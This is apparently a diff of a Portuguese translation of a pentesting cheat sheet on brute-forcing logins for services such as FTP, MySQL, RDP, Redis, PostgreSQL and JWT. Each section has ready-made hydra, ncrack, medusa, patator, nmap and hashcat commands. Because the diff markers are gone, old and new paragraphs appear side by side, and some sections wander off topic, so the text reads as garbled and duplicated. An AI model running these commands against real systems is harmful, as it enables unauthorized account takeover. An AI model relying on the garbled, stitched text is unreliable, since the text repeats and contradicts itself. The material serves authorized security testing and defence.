|
||||
5. Analise os resultados: verifique os resultados do ataque para identificar combinações válidas de nomes de usuário e senhas. Essas combinações podem ser usadas para acessar o CouchDB.
|
||||
|
||||
## Recursos Adicionais
|
||||
|
||||
Aqui estão alguns recursos adicionais que podem ser úteis ao realizar um ataque de força bruta no CouchDB:
|
||||
|
||||
- Dicionários de senhas: esses são arquivos que contêm uma lista de senhas comumente usadas ou senhas vazadas de violações de dados anteriores. Eles podem ser usados como entrada para ferramentas de força bruta.
|
||||
- Dicionários de senhas: esses são arquivos que contêm uma lista de senhas comumente usadas ou senhas vazadas. Eles podem ser usados por ferramentas de força bruta para testar várias combinações de senhas.
|
||||
|
||||
- Ferramentas de força bruta: existem várias ferramentas disponíveis, como Hydra, Medusa e Ncrack, que podem ser usadas para automatizar ataques de força bruta.
|
||||
- Ferramentas de força bruta: existem várias ferramentas disponíveis, como Hydra e Medusa, que podem ser usadas para automatizar ataques de força bruta.
|
||||
|
||||
- Técnicas de mitigação: para proteger o CouchDB contra ataques de força bruta, você pode implementar medidas como bloqueio de IP após várias tentativas falhas de login, uso de senhas fortes e implementação de autenticação de dois fatores.
|
||||
- Monitoramento de logs: ao realizar um ataque de força bruta, é importante monitorar os logs do CouchDB para detectar atividades suspeitas e tomar medidas para mitigar o ataque.
|
||||
|
||||
## Conclusão
|
||||
|
||||
O ataque de força bruta é uma técnica simples, mas potencialmente eficaz, para comprometer a segurança do CouchDB. É importante estar ciente dessa vulnerabilidade e implementar medidas adequadas de segurança para proteger o banco de dados contra ataques.
|
||||
O ataque de força bruta é uma técnica simples, mas potencialmente eficaz, para comprometer a segurança do CouchDB. É importante que os administradores do CouchDB implementem medidas de segurança adequadas, como senhas fortes e bloqueio de contas após várias tentativas de login malsucedidas, para mitigar esse tipo de ataque.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
|
@ -226,29 +226,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
|
||||
O Elasticsearch é um mecanismo de busca e análise distribuído, que é amplamente utilizado para pesquisar, analisar e visualizar grandes volumes de dados em tempo real. Ele é construído sobre o Apache Lucene e fornece uma interface RESTful para interagir com os dados.
|
||||
|
||||
## Brute Force
|
||||
## Força Bruta
|
||||
|
||||
A força bruta é uma técnica comum usada para quebrar senhas ou descobrir informações confidenciais, tentando todas as combinações possíveis até encontrar a correta. No contexto do Elasticsearch, a força bruta pode ser usada para tentar adivinhar credenciais de autenticação ou explorar vulnerabilidades de segurança.
|
||||
A força bruta é uma técnica comum usada para quebrar senhas ou descobrir informações confidenciais, tentando todas as combinações possíveis até encontrar a correta. No contexto do Elasticsearch, a força bruta pode ser usada para tentar adivinhar senhas de acesso ao cluster ou a contas de usuário.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Elasticsearch, como o Hydra e o Burp Suite. Essas ferramentas automatizam o processo de tentar várias combinações de nomes de usuário e senhas em uma velocidade muito alta.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Elasticsearch, como o Hydra e o Burp Suite. Essas ferramentas automatizam o processo de tentativa de várias combinações de senhas em um curto período de tempo.
|
||||
|
||||
No entanto, é importante ressaltar que a força bruta é uma técnica de ataque que pode ser detectada e bloqueada por medidas de segurança adequadas. Portanto, é essencial implementar senhas fortes, limitar o número de tentativas de login e monitorar os logs de autenticação para detectar atividades suspeitas.
|
||||
|
||||
## Protegendo o Elasticsearch contra ataques de força bruta
|
||||
|
||||
Existem várias medidas que podem ser tomadas para proteger o Elasticsearch contra ataques de força bruta:
|
||||
|
||||
1. Implemente senhas fortes: Use senhas complexas e exclusivas para as contas de usuário do Elasticsearch. Evite senhas óbvias ou fáceis de adivinhar.
|
||||
|
||||
2. Limite o número de tentativas de login: Configure o Elasticsearch para bloquear temporariamente contas após um número específico de tentativas de login malsucedidas. Isso ajudará a evitar ataques de força bruta.
|
||||
|
||||
3. Monitore os logs de autenticação: Analise regularmente os logs de autenticação do Elasticsearch em busca de atividades suspeitas. Isso pode ajudar a identificar tentativas de força bruta e tomar medidas preventivas.
|
||||
|
||||
4. Atualize regularmente: Mantenha o Elasticsearch atualizado com as últimas correções de segurança e atualizações. Isso ajudará a proteger contra vulnerabilidades conhecidas que podem ser exploradas por ataques de força bruta.
|
||||
|
||||
5. Restrinja o acesso: Limite o acesso ao Elasticsearch apenas a usuários autorizados. Use firewalls e listas de controle de acesso para restringir o acesso ao cluster do Elasticsearch.
|
||||
|
||||
Ao implementar essas medidas de segurança, você pode ajudar a proteger o Elasticsearch contra ataques de força bruta e manter seus dados seguros.
|
||||
No entanto, é importante ressaltar que a força bruta é uma técnica intrusiva e pode ser ilegal se usada sem permissão. Portanto, é fundamental obter autorização adequada antes de realizar qualquer teste de força bruta em um sistema Elasticsearch.
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
|
@ -268,9 +252,9 @@ Para proteger uma conta FTP contra ataques de força bruta, é importante usar s
|
|||
|
||||
Um dicionário de senhas é uma lista de palavras ou combinações de caracteres que são usadas em ataques de força bruta para tentar adivinhar senhas. Esses dicionários podem ser criados manualmente ou baixados de fontes disponíveis publicamente.
|
||||
|
||||
Os dicionários de senhas geralmente contêm palavras comuns, nomes de usuários, senhas padrão e outras combinações que são frequentemente usadas como senhas. Os atacantes usam esses dicionários para automatizar o processo de adivinhar senhas durante um ataque de força bruta.
|
||||
Os dicionários de senhas geralmente contêm palavras comuns, nomes de usuários, senhas padrão e outras combinações que são frequentemente usadas como senhas. Os atacantes usam esses dicionários para automatizar o processo de adivinhar senhas em ataques de força bruta.
|
||||
|
||||
É importante usar senhas fortes e exclusivas para evitar que sejam adivinhadas facilmente por meio de ataques de força bruta. Evitar o uso de palavras comuns, nomes próprios, datas de nascimento e outras informações pessoais é fundamental para garantir a segurança das contas FTP.
|
||||
É importante usar senhas fortes e exclusivas que não estejam presentes em dicionários de senhas conhecidos para evitar ataques de força bruta bem-sucedidos. Além disso, é recomendável implementar medidas de segurança, como bloqueio de IP após várias tentativas falhas de login, para proteger contra ataques de força bruta.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -305,11 +289,14 @@ Aqui está uma metodologia básica para realizar um ataque de brute force em um
|
|||
1. Identifique o formulário de login alvo no site.
|
||||
2. Analise o código-fonte da página para identificar os campos de entrada do formulário, como nome de usuário e senha.
|
||||
3. Use uma ferramenta de brute force para automatizar o processo de envio de várias combinações de nome de usuário e senha para o formulário.
|
||||
4. A ferramenta tentará todas as combinações possíveis até encontrar a combinação correta.
|
||||
5. Monitore as respostas do servidor para identificar quando uma combinação correta for encontrada.
|
||||
6. Uma vez que a combinação correta seja encontrada, o hacker terá acesso ao sistema e poderá realizar atividades maliciosas.
|
||||
4. Monitore as respostas do servidor para identificar quando uma combinação correta de nome de usuário e senha for encontrada.
|
||||
5. Registre as credenciais de login encontradas para uso posterior.
|
||||
|
||||
É importante ressaltar que o uso de brute force em sistemas sem permissão é ilegal e pode resultar em consequências legais graves. Portanto, é fundamental obter autorização adequada antes de realizar qualquer teste de brute force.
|
||||
#### Considerações de Segurança
|
||||
|
||||
É importante lembrar que realizar um ataque de brute force em um formulário HTTP é uma atividade ilegal, a menos que você tenha permissão explícita do proprietário do site. Além disso, muitos sites implementam medidas de segurança, como bloqueio de IP após várias tentativas falhas, para mitigar ataques de brute force.
|
||||
|
||||
Portanto, é fundamental obter permissão legal antes de realizar qualquer tipo de teste de penetração ou hacking.
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
|
@ -336,44 +323,49 @@ O iSCSI (Internet Small Computer System Interface) é um protocolo de rede que p
|
|||
|
||||
O iSCSI utiliza o método de autenticação CHAP (Challenge-Handshake Authentication Protocol) para garantir a segurança das comunicações entre o servidor e o dispositivo de armazenamento. Além disso, ele suporta a criptografia de dados para proteger as informações transmitidas.
|
||||
|
||||
Uma das técnicas de ataque comumente usadas contra o iSCSI é a força bruta. Nesse tipo de ataque, o invasor tenta adivinhar a senha correta através de tentativas repetidas. Para evitar esse tipo de ataque, é importante utilizar senhas fortes e implementar medidas de segurança adicionais, como bloqueio de contas após um número específico de tentativas falhas.
|
||||
Uma das técnicas de ataque comumente usadas contra o iSCSI é o brute force, que envolve a tentativa de adivinhar a senha de acesso ao dispositivo de armazenamento através de uma série de tentativas consecutivas. Os hackers podem usar ferramentas automatizadas para realizar ataques de brute force, explorando a fraqueza de senhas fracas ou previsíveis.
|
||||
|
||||
É importante ressaltar que o uso de técnicas de hacking, como a força bruta, sem autorização prévia é ilegal e pode resultar em consequências legais graves.
|
||||
Para proteger-se contra ataques de brute force, é importante utilizar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendado implementar medidas de segurança adicionais, como bloqueio de contas após um número específico de tentativas falhas e monitoramento de atividades suspeitas.
|
||||
|
||||
Em resumo, o iSCSI é um protocolo de rede utilizado para acessar dispositivos de armazenamento remotos. No entanto, é importante estar ciente dos riscos de segurança associados a ele e tomar medidas adequadas para proteger-se contra ataques de brute force.
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
### JWT
|
||||
|
||||
O JSON Web Token (JWT) é um método de autenticação amplamente utilizado na web. Ele permite que os usuários se autentiquem e acessem recursos protegidos por meio de um token seguro. Um JWT consiste em três partes: o cabeçalho, a carga útil e a assinatura.
|
||||
O JSON Web Token (JWT) é um método de autenticação amplamente utilizado na web. Ele permite que os usuários se autentiquem e acessem recursos protegidos por meio de um token seguro. O JWT consiste em três partes: o cabeçalho, a carga útil e a assinatura.
|
||||
|
||||
#### Cabeçalho
|
||||
|
||||
O cabeçalho de um JWT contém informações sobre o tipo de token e o algoritmo de assinatura usado. Geralmente, o tipo de token é definido como "JWT" e o algoritmo de assinatura pode ser HMAC, RSA ou ECDSA.
|
||||
O cabeçalho do JWT contém informações sobre o tipo de token e o algoritmo de assinatura usado. Geralmente, o tipo de token é definido como "JWT" e o algoritmo de assinatura pode ser HMAC, RSA ou ECDSA.
|
||||
|
||||
#### Carga útil
|
||||
|
||||
A carga útil de um JWT contém as informações que são transmitidas entre as partes envolvidas. Essas informações podem incluir dados do usuário, como o ID do usuário, o nome e as permissões.
|
||||
A carga útil do JWT contém as informações que são transmitidas entre o emissor e o receptor. Essas informações podem incluir dados do usuário, como o ID do usuário, o nome e as permissões.
|
||||
|
||||
#### Assinatura
|
||||
|
||||
A assinatura de um JWT é usada para verificar a integridade do token e garantir que ele não tenha sido alterado durante a transmissão. A assinatura é gerada usando uma chave secreta conhecida apenas pelo emissor e pelo receptor do token.
|
||||
A assinatura do JWT é usada para verificar a integridade do token e garantir que ele não tenha sido alterado durante a transmissão. A assinatura é gerada usando uma chave secreta conhecida apenas pelo emissor e pelo receptor.
|
||||
|
||||
#### Ataques de força bruta
|
||||
|
||||
Os ataques de força bruta são uma técnica comum usada para quebrar senhas ou chaves criptográficas. Nesse tipo de ataque, o invasor tenta todas as combinações possíveis até encontrar a senha ou chave correta.
|
||||
|
||||
#### Protegendo contra ataques de força bruta
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentar várias combinações em uma velocidade muito alta.
|
||||
|
||||
Existem várias maneiras de proteger um sistema contra ataques de força bruta. Alguns métodos eficazes incluem:
|
||||
Para proteger um sistema contra ataques de força bruta, é importante implementar medidas de segurança, como bloqueio de contas após várias tentativas falhas, uso de senhas fortes e implementação de mecanismos de autenticação de dois fatores.
|
||||
|
||||
- Implementar bloqueio de conta após várias tentativas falhas de login.
|
||||
- Usar senhas fortes e complexas.
|
||||
- Implementar um mecanismo de autenticação de dois fatores.
|
||||
- Usar algoritmos de hash fortes para armazenar senhas.
|
||||
#### Recursos e metodologias genéricas
|
||||
|
||||
#### Conclusão
|
||||
Existem várias metodologias e recursos genéricos disponíveis para ajudar os hackers éticos a realizar testes de penetração de forma eficaz. Alguns exemplos incluem:
|
||||
|
||||
O JWT é uma forma popular de autenticação na web, mas é importante protegê-lo contra ataques de força bruta. Implementar medidas de segurança adequadas pode ajudar a garantir a integridade e a segurança do sistema.
|
||||
- Metodologia OSSTMM (Open Source Security Testing Methodology Manual)
|
||||
- Metodologia PTES (Penetration Testing Execution Standard)
|
||||
- Ferramentas de código aberto, como o Metasploit Framework
|
||||
- Fóruns e comunidades online para compartilhar conhecimentos e obter suporte
|
||||
- Documentação e tutoriais sobre técnicas de hacking e segurança de TI
|
||||
|
||||
Ao realizar testes de penetração, é importante seguir uma metodologia e utilizar os recursos adequados para garantir que todas as áreas relevantes sejam abordadas e que os resultados sejam precisos e confiáveis.
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
@ -413,11 +405,10 @@ Para proteger um sistema MQTT contra ataques de força bruta, é importante impl
|
|||
- Usar senhas fortes e complexas para autenticação.
|
||||
- Limitar o número de tentativas de login.
|
||||
- Implementar bloqueio de conta após várias tentativas de login malsucedidas.
|
||||
- Utilizar criptografia para proteger as comunicações MQTT.
|
||||
- Monitorar e registrar atividades suspeitas.
|
||||
- Manter o software MQTT atualizado com as últimas correções de segurança.
|
||||
|
||||
Além disso, é importante manter o software MQTT atualizado com as últimas correções de segurança e seguir as melhores práticas de segurança recomendadas pelo fornecedor do software.
|
||||
|
||||
Ao implementar essas medidas de segurança, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido em um sistema MQTT.
|
||||
Ao seguir essas práticas recomendadas, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido em um sistema MQTT.
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
```
|
||||
|
@ -444,22 +435,22 @@ use auxiliary/scanner/mongodb/mongodb_login
|
|||
```
|
||||
### MySQL
|
||||
|
||||
O MySQL é um sistema de gerenciamento de banco de dados relacional de código aberto amplamente utilizado. Ele fornece uma maneira eficiente de armazenar, organizar e recuperar dados. O MySQL usa a linguagem SQL (Structured Query Language) para consultar e manipular dados em um banco de dados.
|
||||
O MySQL é um sistema de gerenciamento de banco de dados relacional de código aberto amplamente utilizado. Ele fornece uma maneira eficiente de armazenar, organizar e recuperar dados. O MySQL usa a linguagem SQL (Structured Query Language) para executar consultas e manipular dados.
|
||||
|
||||
#### Ataques de força bruta contra o MySQL
|
||||
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves de criptografia, tentando todas as combinações possíveis até encontrar a correta. No contexto do MySQL, um ataque de força bruta pode ser usado para tentar adivinhar a senha de um usuário com acesso ao banco de dados.
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves de criptografia, tentando todas as combinações possíveis até encontrar a correta. No contexto do MySQL, um ataque de força bruta pode ser usado para tentar adivinhar a senha de um usuário ou a chave de criptografia usada para proteger os dados armazenados no banco de dados.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o MySQL. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo. Os atacantes podem usar dicionários de senhas comuns ou gerar senhas aleatórias para tentar adivinhar a senha correta.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o MySQL. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo. Além disso, os atacantes podem usar dicionários de senhas comuns ou gerar senhas aleatórias para aumentar suas chances de sucesso.
|
||||
|
||||
Para proteger o MySQL contra ataques de força bruta, é importante implementar medidas de segurança, como:
|
||||
Para proteger seu banco de dados MySQL contra ataques de força bruta, é importante seguir boas práticas de segurança, como:
|
||||
|
||||
- Usar senhas fortes e complexas para os usuários do MySQL.
|
||||
- Limitar o número de tentativas de login permitidas antes de bloquear temporariamente o acesso.
|
||||
- Implementar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Monitorar e registrar atividades suspeitas de login.
|
||||
- Implementar medidas de segurança adicionais, como autenticação de dois fatores.
|
||||
- Manter o software do MySQL atualizado com as últimas correções de segurança.
|
||||
|
||||
Além disso, é recomendável manter o MySQL atualizado com as últimas correções de segurança e seguir as práticas recomendadas de segurança.
|
||||
Ao implementar essas práticas de segurança, você pode reduzir significativamente o risco de um ataque de força bruta bem-sucedido contra seu banco de dados MySQL.
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -484,25 +475,25 @@ Aqui estão os passos básicos para realizar um ataque de força bruta:
|
|||
|
||||
2. Selecionar a ferramenta: Escolha uma ferramenta de força bruta adequada para o tipo de sistema ou serviço que você está atacando. Existem várias ferramentas disponíveis, como Hydra, Medusa e Ncrack.
|
||||
|
||||
3. Configurar a ferramenta: Configure a ferramenta de acordo com as especificações do alvo, incluindo o nome de usuário, endereço IP e lista de senhas possíveis.
|
||||
3. Configurar a ferramenta: Configure a ferramenta de acordo com as especificações do alvo, como o protocolo de autenticação e o formato da senha.
|
||||
|
||||
4. Executar o ataque: Inicie a ferramenta de força bruta e aguarde até que ela tente todas as combinações possíveis de senhas. Isso pode levar algum tempo, dependendo da complexidade das senhas e do poder de processamento disponível.
|
||||
4. Executar o ataque: Inicie o ataque de força bruta, permitindo que a ferramenta tente todas as combinações possíveis de senhas. Isso pode levar algum tempo, dependendo da complexidade da senha e do poder de processamento disponível.
|
||||
|
||||
5. Analisar os resultados: Após a conclusão do ataque, analise os resultados para determinar se a senha foi encontrada com sucesso. Se a senha for encontrada, você terá acesso não autorizado ao sistema ou serviço.
|
||||
5. Analisar os resultados: Analise os resultados do ataque para determinar se a senha foi encontrada com sucesso. Se a senha for encontrada, você terá acesso não autorizado ao sistema ou serviço.
|
||||
|
||||
## Recursos
|
||||
|
||||
Aqui estão alguns recursos úteis para realizar ataques de força bruta:
|
||||
|
||||
- **Hydra**: Uma ferramenta de força bruta amplamente utilizada para atacar vários protocolos de autenticação, como SSH, FTP, Telnet, HTTP e muito mais. Pode ser executada em sistemas operacionais Windows, Linux e macOS.
|
||||
- **Hydra**: Uma ferramenta de força bruta muito popular que suporta vários protocolos de autenticação, como SSH, FTP, HTTP e muito mais. Pode ser usado para atacar sistemas operacionais, serviços web e aplicativos.
|
||||
|
||||
- **Medusa**: Uma ferramenta de força bruta rápida e modular que suporta vários protocolos de autenticação, incluindo SSH, FTP, Telnet, HTTP e muito mais. É compatível com sistemas operacionais Windows e Linux.
|
||||
- **Medusa**: Outra ferramenta de força bruta poderosa que suporta vários protocolos de autenticação. É conhecida por sua velocidade e eficiência.
|
||||
|
||||
- **Ncrack**: Uma ferramenta de força bruta de código aberto que suporta vários protocolos de autenticação, como SSH, RDP, FTP, Telnet, HTTP e muito mais. É compatível com sistemas operacionais Windows, Linux e macOS.
|
||||
- **Ncrack**: Uma ferramenta de força bruta de código aberto que suporta vários protocolos de autenticação. É altamente flexível e pode ser usado para atacar uma ampla variedade de sistemas e serviços.
|
||||
|
||||
## Conclusão
|
||||
|
||||
O ataque de força bruta pode ser uma técnica eficaz para obter acesso não autorizado a sistemas protegidos por senha. No entanto, é importante lembrar que essa atividade é ilegal e antiética, a menos que seja realizada com permissão explícita do proprietário do sistema.
|
||||
O ataque de força bruta é uma técnica poderosa usada por hackers para obter acesso não autorizado a sistemas protegidos por senha. É importante estar ciente dessa técnica e tomar medidas para proteger seus sistemas contra ataques de força bruta, usando senhas fortes e implementando medidas de segurança adicionais, como bloqueio de contas após várias tentativas de login malsucedidas.
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -538,7 +529,7 @@ Brute forcing POP accounts involves systematically trying different combinations
|
|||
|
||||
To perform a brute force attack on a POP account, you can use tools like Hydra or Medusa. These tools allow you to automate the process of trying different username and password combinations.
|
||||
|
||||
It is important to note that brute forcing is an aggressive and potentially illegal hacking technique. It should only be used with proper authorization and for legitimate purposes, such as penetration testing. Unauthorized brute forcing can result in legal consequences.
|
||||
It is important to note that brute forcing is an aggressive and potentially illegal hacking technique. It should only be used with proper authorization and for legitimate purposes, such as penetration testing.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -557,7 +548,7 @@ Para proteger seu banco de dados PostgreSQL contra ataques de força bruta, é i
|
|||
|
||||
Além disso, é recomendável manter o PostgreSQL atualizado com as últimas correções de segurança e configurar firewalls para restringir o acesso ao banco de dados apenas a partir de fontes confiáveis.
|
||||
|
||||
Embora os ataques de força bruta possam ser eficazes em determinadas circunstâncias, é importante lembrar que eles são ilegais e podem resultar em consequências legais graves. Portanto, é fundamental usar essas técnicas apenas para fins legítimos, como testes de penetração autorizados ou para proteger seus próprios sistemas contra ataques.
|
||||
Em resumo, embora os ataques de força bruta possam ser uma ameaça ao PostgreSQL, seguir as práticas recomendadas de segurança pode ajudar a mitigar esse risco.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -581,7 +572,7 @@ O Protocolo de Desktop Remoto (RDP) é um protocolo de rede desenvolvido pela Mi
|
|||
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas através da tentativa de todas as combinações possíveis até encontrar a correta. No contexto do RDP, um ataque de força bruta envolve tentar todas as combinações possíveis de nomes de usuário e senhas para acessar um sistema RDP.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no RDP, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentar várias combinações de nomes de usuário e senhas em um curto período de tempo.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no RDP, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentativa de login com várias combinações de credenciais.
|
||||
|
||||
Para proteger um sistema RDP contra ataques de força bruta, é importante implementar medidas de segurança, como:
|
||||
|
||||
|
@ -590,22 +581,34 @@ Para proteger um sistema RDP contra ataques de força bruta, é importante imple
|
|||
- Configurar um firewall para bloquear endereços IP suspeitos ou fontes de tráfego malicioso.
|
||||
- Atualizar regularmente o sistema operacional e o software RDP para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
|
||||
Ao realizar testes de penetração em um sistema RDP, é importante obter permissão explícita do proprietário do sistema antes de realizar qualquer atividade de hacking.
|
||||
Além disso, é recomendável monitorar os logs de eventos do sistema para detectar atividades suspeitas ou tentativas de login malsucedidas.
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
```
|
||||
# Brute Force
|
||||
|
||||
O brute force é uma técnica de ataque que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. É uma abordagem direta e demorada, mas pode ser eficaz se a senha for fraca ou se o número de combinações possíveis for pequeno.
|
||||
O brute force é uma técnica de ataque que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. É uma abordagem simples, mas pode ser eficaz se a senha for fraca ou se o atacante tiver recursos computacionais significativos.
|
||||
|
||||
No contexto do Redis, o brute force pode ser usado para tentar adivinhar a senha de acesso a um servidor Redis protegido por autenticação. O Redis é um banco de dados em memória que é frequentemente usado como cache ou armazenamento de dados temporários. Se um invasor conseguir acessar um servidor Redis, ele pode obter informações confidenciais ou até mesmo modificar os dados armazenados nele.
|
||||
## Ataques de Brute Force em Redis
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force no Redis. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo. Além disso, existem listas de senhas comuns disponíveis na internet, que podem ser usadas para acelerar o processo de brute force.
|
||||
O Redis é um banco de dados em memória que armazena dados na forma de chave-valor. Embora o Redis tenha recursos de segurança, como autenticação de senha, ainda é vulnerável a ataques de brute force se a senha for fraca ou se não houver medidas adicionais de segurança implementadas.
|
||||
|
||||
Para proteger um servidor Redis contra ataques de brute force, é importante seguir boas práticas de segurança, como usar senhas fortes e complexas, limitar o acesso ao servidor apenas a IPs confiáveis e monitorar os logs em busca de atividades suspeitas. Além disso, é recomendável usar uma solução de firewall ou um serviço de gerenciamento de acesso para bloquear automaticamente IPs que tentam realizar ataques de brute force.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force em servidores Redis. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo, aumentando assim as chances de sucesso do ataque.
|
||||
|
||||
Em resumo, o brute force é uma técnica de ataque que pode ser usada para tentar adivinhar senhas de acesso a servidores Redis protegidos por autenticação. Para proteger-se contra esse tipo de ataque, é importante seguir boas práticas de segurança e usar ferramentas de monitoramento e bloqueio de IPs suspeitos.
|
||||
## Mitigação de Ataques de Brute Force em Redis
|
||||
|
||||
Para mitigar ataques de brute force em servidores Redis, é importante seguir as melhores práticas de segurança, como:
|
||||
|
||||
- Use senhas fortes: Certifique-se de usar senhas complexas e exclusivas para autenticação no Redis. Evite senhas óbvias ou fáceis de adivinhar.
|
||||
|
||||
- Limite as tentativas de login: Configure o Redis para limitar o número de tentativas de login permitidas em um determinado período de tempo. Isso pode ajudar a evitar ataques de brute force, pois o atacante será bloqueado após um número específico de tentativas malsucedidas.
|
||||
|
||||
- Monitore atividades suspeitas: Implemente um sistema de monitoramento para detectar atividades suspeitas, como um grande número de tentativas de login malsucedidas. Isso permitirá que você identifique e responda rapidamente a possíveis ataques de brute force.
|
||||
|
||||
- Atualize regularmente: Mantenha o Redis atualizado com as versões mais recentes, pois elas geralmente incluem correções de segurança e melhorias de proteção contra ataques de brute force.
|
||||
|
||||
Ao implementar essas medidas de segurança, você pode reduzir significativamente o risco de ataques de brute force bem-sucedidos em servidores Redis.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -613,35 +616,46 @@ hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
|||
```
|
||||
### Rexec
|
||||
|
||||
O Rexec é um protocolo de rede que permite a execução remota de comandos em um servidor. É comumente usado para fins administrativos, permitindo que os administradores executem comandos em servidores remotos sem precisar fazer login diretamente no servidor.
|
||||
O Rexec é um protocolo de rede que permite a execução remota de comandos em um servidor. Ele é frequentemente usado para fins administrativos, como gerenciamento de servidores e solução de problemas. No entanto, também pode ser explorado por hackers para obter acesso não autorizado a sistemas remotos.
|
||||
|
||||
No entanto, o Rexec também pode ser explorado por hackers para realizar ataques de força bruta. Um ataque de força bruta é quando um hacker tenta adivinhar a senha correta de um usuário, testando várias combinações possíveis até encontrar a senha correta.
|
||||
#### Ataques de força bruta contra o Rexec
|
||||
|
||||
Para realizar um ataque de força bruta no Rexec, um hacker usaria um programa automatizado que tenta várias combinações de senhas em rápida sucessão. O objetivo é encontrar a senha correta e obter acesso não autorizado ao servidor.
|
||||
Um ataque de força bruta é uma técnica comum usada por hackers para tentar adivinhar senhas ou chaves de autenticação. No caso do Rexec, um ataque de força bruta envolve tentar várias combinações de nomes de usuário e senhas para obter acesso ao servidor.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Rexec, como o Hydra e o Medusa. Essas ferramentas são capazes de testar milhares de combinações de senhas por segundo, tornando o processo de adivinhar a senha muito mais rápido.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o Rexec. Essas ferramentas automatizam o processo de tentar várias combinações de credenciais em um curto período de tempo, aumentando assim as chances de sucesso do ataque.
|
||||
|
||||
Para se proteger contra ataques de força bruta no Rexec, é importante usar senhas fortes e complexas. Além disso, é recomendável implementar medidas de segurança adicionais, como bloqueio de IP após várias tentativas de login malsucedidas e monitoramento de atividades suspeitas no servidor.
|
||||
#### Mitigação de ataques de força bruta
|
||||
|
||||
Para mitigar ataques de força bruta contra o Rexec, é importante implementar medidas de segurança adequadas. Aqui estão algumas práticas recomendadas:
|
||||
|
||||
- Use senhas fortes: Certifique-se de usar senhas complexas e exclusivas para evitar que sejam adivinhadas facilmente.
|
||||
- Implemente bloqueio de conta: Configure o servidor Rexec para bloquear temporariamente uma conta após um número específico de tentativas de login malsucedidas.
|
||||
- Monitore logs de autenticação: Fique atento a atividades suspeitas nos logs de autenticação do servidor Rexec e tome medidas imediatas se detectar tentativas de força bruta.
|
||||
- Atualize regularmente: Mantenha o servidor Rexec atualizado com as últimas correções de segurança para evitar vulnerabilidades conhecidas.
|
||||
|
||||
Ao implementar essas práticas recomendadas, você pode reduzir significativamente o risco de um ataque de força bruta bem-sucedido contra o Rexec.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
O Rlogin é um protocolo de rede que permite a um usuário se conectar a um servidor remoto. Ele é amplamente utilizado para fins de administração de sistemas e pode ser explorado por hackers para obter acesso não autorizado a sistemas remotos.
|
||||
|
||||
